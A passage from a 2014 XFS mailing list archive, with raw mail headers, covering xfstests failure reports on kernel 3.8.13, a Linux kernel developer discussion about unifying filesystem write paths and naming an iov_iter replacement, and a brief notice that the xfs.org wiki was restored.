bh=60oEobqe5otx5nSCESty/DuJ7+CCzZF/V8oPgAMtMFc=; b=Zzg0qV+kXXyH2ubKv94cVX+JpwqV+ep4nB37PALHqsWHYZbOV1GbjM5C/9oqZxBWnr rJDdNrnnGf3eCjuAEjqEQDb78hJPNB8aHAuZnwIeYXfp3tl3+LbIkkJNwYHqq2E/SdIg f3wrHhVT/A7l+grL8yKl6H5XXgjCjPxref9Q8lMaHJexpCnYk9mO03/liQCxvdUybADd IIIenovzgWXJTzMMAG8z6qU6WpMrqDXeEySFVNyHbr6cZ0kmpNgvWG/U44QS7Cf0AbBz 83bnjAxsVEl3ZFpSV47+qOnoOEedDilyGTge+FNmvjlZ7AKOHudJscQbG+bhj7+stbQR aCEg== X-Gm-Message-State: ALoCoQkWO/rlkAcXAjT37keSEH8j3du5Qj7kelnVx7lSdOw5HqrStLIHpX2unHwY61J1UN/ezfGL X-Received: by 10.14.210.130 with SMTP id u2mr4008722eeo.108.1391536385514; Tue, 04 Feb 2014 09:53:05 -0800 (PST) Received: from alyakaslap ([212.143.144.103]) by mx.google.com with ESMTPSA id k41sm81295765een.19.2014.02.04.09.53.03 for (version=TLSv1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Tue, 04 Feb 2014 09:53:04 -0800 (PST) Message-ID: <4D99B558BC4F49568900AE5DEA05DE86@alyakaslap> From: "Alex Lyakas" To: "Eric Sandeen" Cc: , "Dave Chinner" References: <20140124025846.GL27606@dastard> <52E95EB8.8080003@sandeen.net> <20140202223525.GW2212@dastard> In-Reply-To: <20140202223525.GW2212@dastard> Subject: Re: [ANNOUNCE] xfstests updated to 197f773 Date: Tue, 4 Feb 2014 19:53:04 +0200 X-ASG-Orig-Subj: Re: [ANNOUNCE] xfstests updated to 197f773 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal Importance: Normal X-Mailer: Microsoft Windows Live Mail 15.4.3555.308 X-MimeOLE: Produced By Microsoft MimeOLE V15.4.3555.308 X-Barracuda-Connect: mail-ee0-f44.google.com[74.125.83.44] X-Barracuda-Start-Time: 1391536386 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, BSF_SC0_SA085, STOX_REPLY_TYPE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144831 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 STOX_REPLY_TYPE STOX_REPLY_TYPE 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 BSF_SC0_SA085 Custom Rule SA085 Hi Eric and Dave, Thank you for your comments. I don't know whether my information is of any value to you or anybody else, because I am using an EOL kernel 3.8.13. I have run xfstests several times on two different kinds of block devices. One is a local file attached to a KVM instance through virtio, second is a custom Device Mapper. My local.config file is: export TEST_DEV=/dev/mapper/vol-0x5 export SCRATCH_DEV=/dev/mapper/vol-0x6 export TEST_DIR=/mnt/TEST_DIR export SCRATCH_MNT=/mnt/SCRATCH_DIR export FSTYP="xfs" A good amount of tests did not run, because, e.g., I do not have dump device etc. I list below the tests that failed for me consistently. I analyzed to a very limited extent these failures. At some point I decided to focus on making the tests that pass on a pristine XFS from my kernel, pass on XFS with my changes. xfstests/xfsprogs/xfsdumps were built from latest git. fio was build on a "golden" commit aeb32dfccbd05. tests/generic: generic/091 - dowrite: write: Invalid argument generic/204 - echo: write error: No space left on device generic/240 - silence is golden, but then: AIO write offset 512 expected 4096 got -22 ... generic/263 - ??? generic/299 - fio crash generic/300 - fio crash generic/314 - need XFS fix for that, which is not in kernel 3.8.13 tests/xfs: xfs/016 - log size 853 blocks too small, minimum size is 1605 blocks xfs/018 - ??? xfs/033 - Corrupting root inode - setting bits to 0, xfsrepair: xfs_imap_to_bp: xfs_trans_read_buf() returned error 117. xfs/041 - for some reason, in my case the log occupies much more blocks, and the 32-mb FS has no free space, so fill2fs fails xfs/073 - after copying, the target device has dirty log.. xfs/081 - logprint with quotas xfs/082 - v2 stripe logs with logprint xfs/096 - mkfs.xfs: Specified data stripe width 520 is not the same as the volume stripe width 1024 xfs/104 - log size 1280 blocks too small, minimum size is 1605 blocks xfs/109 - fails with ENOSPC xfs/111 - Overwrote IN @offset 16384 xfs/119 - log size 1200 blocks too small, minimum size is 1968 blocks xfs/122 - sizes/offsets of some structs/fields differ xfs/136 - difference in internal structure's content xfs/171 - failed, 4 streams with matching AGs xfs/172 - expected failure, matching AGs xfs/199 - different feature flags, like 0x8a instead of 0xa xfs/201 - pwrite64: Invalid argument xfs/206 - existing superblock read failed: Invalid argument xfs/216 - number of blocks for FS's up to 64g is 12800 (constant); fssize=1g existing superblock read failed: Invalid argument xfs/250 - xfs_repair: read failed: Invalid argument, _check_xfs_filesystem: filesystem on /mnt/TEST_DIR/250.fs is inconsistent (r) (see /mnt/work/alex/xfstests/results//xfs/250.full) xfs/262 - hard limit 0 bytes, expected 524288000 xfs/279 - mkfs failures and ERROR: Module scsi_debug is in use xfs/291 - *** glibc detected *** xfs_repair: double free or corruption (!prev): 0x00007fbd3c0008c0 *** xfs/292 - output differs only in spaces xfs/296 - output is identical, except missing: missing: RESTORE_DIR/DUMP_SUBDIR/testfile cap_setgid,cap_setuid+ep xfs/297 - output is identical, at the end: _check_xfs_filesystem: filesystem on /dev/vdb is inconsistent (c) (see /mnt/work/alex/xfstests/results//xfs/297.full) xfs/298 - single difference: core.nextents = 1 vs 0 xfs/306 doesn't fail, but sometimes triggers a memleak in xfs_trans Thanks, Alex. -----Original Message----- From: Dave Chinner Sent: 03 February, 2014 12:35 AM To: Eric Sandeen Cc: Alex Lyakas ; xfs@oss.sgi.com Subject: Re: [ANNOUNCE] xfstests updated to 197f773 On Wed, Jan 29, 2014 at 02:04:08PM -0600, Eric Sandeen wrote: > On 1/29/14, 1:55 PM, Alex Lyakas wrote: > > Hi Dave, > > are all tests in xfstests (those relevant for XFS) in principle > > supposed to pass on XFS? > > I am running these tests on a pristine XFS from kernel 3.8.13 > > (srcversion 9862FA08CF42E06A4151111) and I get: > > > > root@vc-13-12-1095-35-dev:/mnt/work/alex/xfstests# ./check > > tests/generic/013 > > FSTYP -- xfs (non-debug) > > PLATFORM -- Linux/x86_64 vc-13-12-1095-35-dev 3.8.13-030813-generic > > MKFS_OPTIONS -- -f -bsize=4096 /dev/vdb > > MOUNT_OPTIONS -- /dev/vdb /mnt/SCRATCH_DIR > > > > generic/013 34s > > _check_xfs_filesystem: filesystem on /dev/vda is inconsistent (c) (see > > /mnt/work/alex/xfstests/results//generic/013.full) > > uh, so it failed > > > Ran: generic/013 > > Passed all 1 tests > > but it passed? ;) It passed the test, but failed the post test filesystem checks. > The fact that you saw: > > > generic/013 34s > > and not: > > > generic/013 34s ... 33s > or > > generic/013 34s ... output mismatch > > or similar, makes me think the test did not even start, and /dev/vda was > corrupted before you even started the test, but I'm not certain. No, what that means is that there was no results/check.time file that had previous runtime information in it. i.e. this is the first time the test was run, or that it has always failed like this in the past on this machine. As it is: http://xfs.org/index.php/XFS_FAQ#Q:_What_information_should_I_include_when_reporting_a_problem.3F Cheers, Dave. -- Dave Chinner david@fromorbit.com From viro@ftp.linux.org.uk Tue Feb 4 12:00:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B33AC7F58 for ; Tue, 4 Feb 2014 12:00:55 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8CB388F8040 for ; Tue, 4 Feb 2014 10:00:55 -0800 (PST) X-ASG-Debug-ID: 1391536853-04cb6c6de01010f0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id rAJcIUkaCFdZBHy2 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Feb 2014 10:00:54 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WAkIa-0008WC-W7; Tue, 04 Feb 2014 18:00:41 +0000 Date: Tue, 4 Feb 2014 18:00:40 +0000 From: Al Viro To: Zach Brown Cc: Kent Overstreet , Linus Torvalds , Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Anton Altaparmakov , Dave Kleikamp Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140204180040.GI10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140118201031.GI10323@ZenIV.linux.org.uk> <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> <52EFC271.3090205@oracle.com> <20140204124409.GG10323@ZenIV.linux.org.uk> <20140204125220.GB12440@kmo-pixel> <20140204151728.GH10323@ZenIV.linux.org.uk> <20140204172723.GA11325@lenny.home.zabbo.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140204172723.GA11325@lenny.home.zabbo.net> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1391536853 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144831 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 04, 2014 at 09:27:23AM -0800, Zach Brown wrote: > I think Kent is talking about what happens after the user addresses are > consumed. Turning dio into more of a bio mapping and redirection engine > would use more of the bio machinery instead of the bits that dio has > implemented itself with state in struct dio that hangs off the bios. I > imagine it'd still make sense to clean up the addresses/pages arguments > that feed that engine. (And give another entry point that already has > bios for callers like loop, etc.) > > > BTW, folks, any suggestions about the name of that "memory stream" thing? > > struct iov_iter really implies iterator for iovec and more generic name > > would probably be better... struct mem_stream would probably do if nobody > > comes up with better variant, but it's long and somewhat clumsy... > > I don't like 'stream'. To me that sounds more strictly advancing than I > think this'd be capable of. Maybe something dirt simple like 'mem_vec'? > With 'mvec_' call prefixes? Umm... Frankly, I would rather discourage attempts to read the same data twice, if only on the naming level... Case in point: commit 1c1c87 (btrfs: sanitize BTRFS_IOC_FILE_EXTENT_SAME). I really wonder how many places have similar holes. What used to happen was this: we have a userland structure, with a variable-sized array hanging off its arse. The size of array is determined by the field in fixed-sized header. We copy the header in, decide what size the whole thing should have, and do memdup_user() to bring everything in. Very convenient, since at that point we have a pointer to that struct-with-array in the kernel space. Attacker manages to increase the 'desc_count' field between two copy_from_user()... and the sucker proceeds to loop over the array in kernel-side copy, using the ->desc_count of that copy as the upper limit of the loop. Oops - in the best case, that is. Double reads really ought to raise red flags on review. I'm not saying that they should be hard to do (after all, the fix in that commit *does* read the same thing twice), but it's better if they are not used without thinking. And no, I'm not suggesting to make ioctls use iov_iter/whatnot - it's just an example of the class of bugs. I wouldn't be surprised to find ->write() instances in drivers suffering the same problem... From viro@ftp.linux.org.uk Tue Feb 4 12:08:53 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 92BEC7F51 for ; Tue, 4 Feb 2014 12:08:53 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6B7878F8039 for ; Tue, 4 Feb 2014 10:08:50 -0800 (PST) X-ASG-Debug-ID: 1391537327-04bdf012201100f0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id lxgesUtO2YmVsbAd (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Feb 2014 10:08:48 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WAkQH-000095-Vv; Tue, 04 Feb 2014 18:08:38 +0000 Date: Tue, 4 Feb 2014 18:08:37 +0000 From: Al Viro To: Kent Overstreet Cc: Zach Brown , Dave Kleikamp , Steve French , Sage Weil , Linus Torvalds , Jens Axboe , Anton Altaparmakov , Mark Fasheh , linux-fsdevel , xfs@oss.sgi.com, Joel Becker , Christoph Hellwig Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140204180837.GJ10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> <52EFC271.3090205@oracle.com> <20140204124409.GG10323@ZenIV.linux.org.uk> <20140204125220.GB12440@kmo-pixel> <20140204151728.GH10323@ZenIV.linux.org.uk> <20140204172723.GA11325@lenny.home.zabbo.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1391537328 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144831 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 04, 2014 at 09:35:06AM -0800, Kent Overstreet wrote: > > I think Kent is talking about what happens after the user addresses are > > consumed. Turning dio into more of a bio mapping and redirection engine > > would use more of the bio machinery instead of the bits that dio has > > implemented itself with state in struct dio that hangs off the bios. I > > imagine it'd still make sense to clean up the addresses/pages arguments > > that feed that engine. (And give another entry point that already has > > bios for callers like loop, etc.) > > Yeah, precisely. I think we can push the point at which pages are pinned at > least a fair but higher than it is now, and if we can do that we definitely > should be working with a generic "bag of pinned pages" struct - and much > better to use struct bio than add another one. Bios may not be perfect but > at least some of the block layer specific cruft can be gotten rid of (and > is on my todo list) How far up? I've no problem with having that done in ->direct_IO() (especially if it would take this mem_vec/mem_stream/whatever and keep the code doing actual pinning and building an array of pages outside of direct-io.c, allowing it to do different things for iovec-backed and page-array-backed variants), but I really don't like the idea of lifting that to callers of ->direct_IO(), let alone past them. If nothing else, we do *not* want to pin the entire write request, so lifting that to e.g. generic_file_aio_write() (or, worse, its callers) wouldn't make sense. From zab@redhat.com Tue Feb 4 12:34:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 857027F51 for ; Tue, 4 Feb 2014 12:34:57 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4D87A304070 for ; Tue, 4 Feb 2014 10:34:53 -0800 (PST) X-ASG-Debug-ID: 1391538892-04bdf0121e113bf0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id gg5eyb5Rd9M11JBu for ; Tue, 04 Feb 2014 10:34:53 -0800 (PST) X-Barracuda-Envelope-From: zab@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s14IXxk9032667 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 4 Feb 2014 13:33:59 -0500 Received: from localhost (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s14IXuQu014562 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Tue, 4 Feb 2014 13:33:57 -0500 Date: Tue, 4 Feb 2014 10:33:56 -0800 From: Zach Brown To: Al Viro Cc: Kent Overstreet , Linus Torvalds , Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Anton Altaparmakov , Dave Kleikamp Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140204183356.GB11325@lenny.home.zabbo.net> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140119051335.GN10323@ZenIV.linux.org.uk> <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> <52EFC271.3090205@oracle.com> <20140204124409.GG10323@ZenIV.linux.org.uk> <20140204125220.GB12440@kmo-pixel> <20140204151728.GH10323@ZenIV.linux.org.uk> <20140204172723.GA11325@lenny.home.zabbo.net> <20140204180040.GI10323@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140204180040.GI10323@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1391538893 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 > > > BTW, folks, any suggestions about the name of that "memory stream" thing? > > > struct iov_iter really implies iterator for iovec and more generic name > > > would probably be better... struct mem_stream would probably do if nobody > > > comes up with better variant, but it's long and somewhat clumsy... > > > > I don't like 'stream'. To me that sounds more strictly advancing than I > > think this'd be capable of. Maybe something dirt simple like 'mem_vec'? > > With 'mvec_' call prefixes? > > Umm... Frankly, I would rather discourage attempts to read the same data > twice, if only on the naming level... Ahh, OK, sure. mem_iter? - z From viro@ftp.linux.org.uk Tue Feb 4 12:36:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 757137F52 for ; Tue, 4 Feb 2014 12:36:25 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6363A30408F for ; Tue, 4 Feb 2014 10:36:25 -0800 (PST) X-ASG-Debug-ID: 1391538983-04cbb00c281001f0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id AYAizahoJakCghoW (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Feb 2014 10:36:24 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WAkqv-0000OB-Vv; Tue, 04 Feb 2014 18:36:10 +0000 Date: Tue, 4 Feb 2014 18:36:09 +0000 From: Al Viro To: Zach Brown Cc: Kent Overstreet , Linus Torvalds , Christoph Hellwig , Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel , xfs@oss.sgi.com, Sage Weil , Steve French , Anton Altaparmakov , Dave Kleikamp Subject: Re: [RFC] unifying write variants for filesystems Message-ID: <20140204183609.GK10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [RFC] unifying write variants for filesystems References: <20140120135514.GA21567@infradead.org> <20140201224301.GS10323@ZenIV.linux.org.uk> <52EFC271.3090205@oracle.com> <20140204124409.GG10323@ZenIV.linux.org.uk> <20140204125220.GB12440@kmo-pixel> <20140204151728.GH10323@ZenIV.linux.org.uk> <20140204172723.GA11325@lenny.home.zabbo.net> <20140204180040.GI10323@ZenIV.linux.org.uk> <20140204183356.GB11325@lenny.home.zabbo.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140204183356.GB11325@lenny.home.zabbo.net> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1391538984 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144832 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 04, 2014 at 10:33:56AM -0800, Zach Brown wrote: > > > > BTW, folks, any suggestions about the name of that "memory stream" thing? > > > > struct iov_iter really implies iterator for iovec and more generic name > > > > would probably be better... struct mem_stream would probably do if nobody > > > > comes up with better variant, but it's long and somewhat clumsy... > > > > > > I don't like 'stream'. To me that sounds more strictly advancing than I > > > think this'd be capable of. Maybe something dirt simple like 'mem_vec'? > > > With 'mvec_' call prefixes? > > > > Umm... Frankly, I would rather discourage attempts to read the same data > > twice, if only on the naming level... > > Ahh, OK, sure. mem_iter? Works for me... Any other suggestions/objections/etc.? From david@fromorbit.com Tue Feb 4 14:55:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 8E4F97F51 for ; Tue, 4 Feb 2014 14:55:06 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 212CCAC003 for ; Tue, 4 Feb 2014 12:55:03 -0800 (PST) X-ASG-Debug-ID: 1391547294-04cbb00c2810d820001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id KMwwtOEgie83ZNrH for ; Tue, 04 Feb 2014 12:54:55 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ao4RAIJS8VJ5LGaB/2dsb2JhbAA/GoMMOIMGpgsDkA2FUoEOF3SCJQEBBTocIxAIAxgJJQ8FJQMhE4gEDjbNWRcWjGMKgTBCB4MkgRQEmCqSIoNBKIEu Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 05 Feb 2014 07:24:54 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WAn18-0002oN-UT; Wed, 05 Feb 2014 07:54:51 +1100 Date: Wed, 5 Feb 2014 07:54:50 +1100 From: Dave Chinner To: Russell Cattelan Cc: xfs@oss.sgi.com Subject: Re: xfs.org wiki is down Message-ID: <20140204205450.GC13997@dastard> X-ASG-Orig-Subj: Re: xfs.org wiki is down References: <20140204081546.GB13997@dastard> <52F10FFF.8090009@thebarn.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52F10FFF.8090009@thebarn.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391547294 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144837 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On Tue, Feb 04, 2014 at 10:06:23AM -0600, Russell Cattelan wrote: > On 2/4/14, 2:15 AM, Dave Chinner wrote: > > Hi Russell, > > > > I just went to look at the xfs.org wiki and all I get from xfs.org > > "not found" errors. e.g http://xfs.org/index.php/Main_Page gives: > > > > Not Found > > > > The requested URL /index.php/Main_Page was not found on this server. > Opps my bad -- I accidentally ended up replacing the a symlink with > directory. > > I was staging some upgrades and rsync the tree over which ended up doing > the replace. > > Sym link is restored. All is good now. Thanks Russell. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 4 16:23:05 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 052317F51 for ; Tue, 4 Feb 2014 16:23:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E279330408F for ; Tue, 4 Feb 2014 14:23:04 -0800 (PST) X-ASG-Debug-ID: 1391552582-04cb6c6de011b560001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id VNpLY2grbCm2IT9Q for ; Tue, 04 Feb 2014 14:23:03 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AlkIAKRn8VJ5LGaB/2dsb2JhbABZgwyDPrYbhVKBDhd0giUBAQU6HCMQCAMYCSUPBSUDIROIBM4kFxaOXweDJIEUBJgqkiKDQSg Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail06.adl6.internode.on.net with ESMTP; 05 Feb 2014 08:53:02 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WAoOS-0003Dn-3k; Wed, 05 Feb 2014 09:23:00 +1100 Date: Wed, 5 Feb 2014 09:23:00 +1100 From: Dave Chinner To: Alex Lyakas Cc: Eric Sandeen , xfs@oss.sgi.com Subject: Re: [ANNOUNCE] xfstests updated to 197f773 Message-ID: <20140204222300.GD13997@dastard> X-ASG-Orig-Subj: Re: [ANNOUNCE] xfstests updated to 197f773 References: <20140124025846.GL27606@dastard> <52E95EB8.8080003@sandeen.net> <20140202223525.GW2212@dastard> <4D99B558BC4F49568900AE5DEA05DE86@alyakaslap> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <4D99B558BC4F49568900AE5DEA05DE86@alyakaslap> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1391552582 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by 